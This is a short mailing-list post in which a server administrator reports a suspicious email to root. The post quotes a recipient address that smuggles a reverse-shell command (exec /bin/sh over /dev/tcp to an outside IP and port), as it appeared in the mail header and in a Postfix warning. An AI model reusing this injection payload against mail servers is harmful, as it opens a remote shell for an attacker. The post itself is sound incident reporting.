[bitfolk] Interesting email to "root" - possible exploit attempt (failed hopefully)

I received an interesting email today. I only noticed because I had logged in SSH and got the "you have new email" message. Reading via "mail", I see : Delivered-To: "root+:|exec /bin/sh 0</dev/tcp/87.106.250.176/45295 1>&0 2&gt;&amp;0&quot;(a)calliope.bitfolk Obviously some sort of possible exploit. The IP address 87.106.250.176 is Germany (1&1 Internet). Postfix reported : warning: 36FE51381A3: address with illegal extension: root+:|exec /bin/sh 0</dev/tcp/87.106.250.176/45295 1>&0 2>&0 But it was delivered. I hope nothing bad has happened. I am running AIDE as we speak and digging around). Cheers, -- Alastair Sherringham http://www.sherringham.net